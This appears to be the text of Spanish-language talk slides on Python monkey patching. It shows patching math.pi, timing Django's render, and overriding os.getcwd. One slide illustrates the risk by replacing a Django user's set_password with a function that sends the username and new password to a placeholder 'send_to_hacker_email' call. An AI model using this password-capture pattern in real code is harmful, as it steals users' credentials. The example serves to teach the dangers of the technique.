wadobo.com
Daniel García Moreno (@danigm)
<danigm@wadobo.com>
http://wadobo.com
If it walks like a duck and talks like a duck, it’s a duck, right? So if this duck is not giving you the noise that you want, you’ve got to just punch that duck until it returns what you expect.
El Moneky Patching es hacer modificaciones de clases o módulos en tiempo de ejecución, con la idea de hacer que se comporten como queremos.
>>> import math
>>> math.pi
3.141592653589793
>>> math.pi = 3
>>> math.pi
from django import shortcuts
old_render = shortcuts.render
def custom_render(*args, **kwargs):
t1 = time.time()
resp = old_render(*args, **kwargs)
s = time.time() - t1
print("Render time: %s seconds" % s)
return resp
shortcuts.render = custom_render
def password_logger(self, newp):
send_to_hacker_email(self.username + ":" + newp)
self.real_set_password(newp)
user = User.objects.get(username="admin")
user.real_set_password = user.set_password
user.set_password = password_logger
Un gran poder conlleva una gran responsabilidad
# mpatch.py, mi lib que hace un monkey patching
import os
def custom_cwd():
return "/root"
os.getcwd = custom_cwd
# uso el módulo mpatch en otra parte de mi código
import os
...
import mpatch
...
// Esto devolverá "/root" y podría ser catastrófico
cwd = os.getcwd()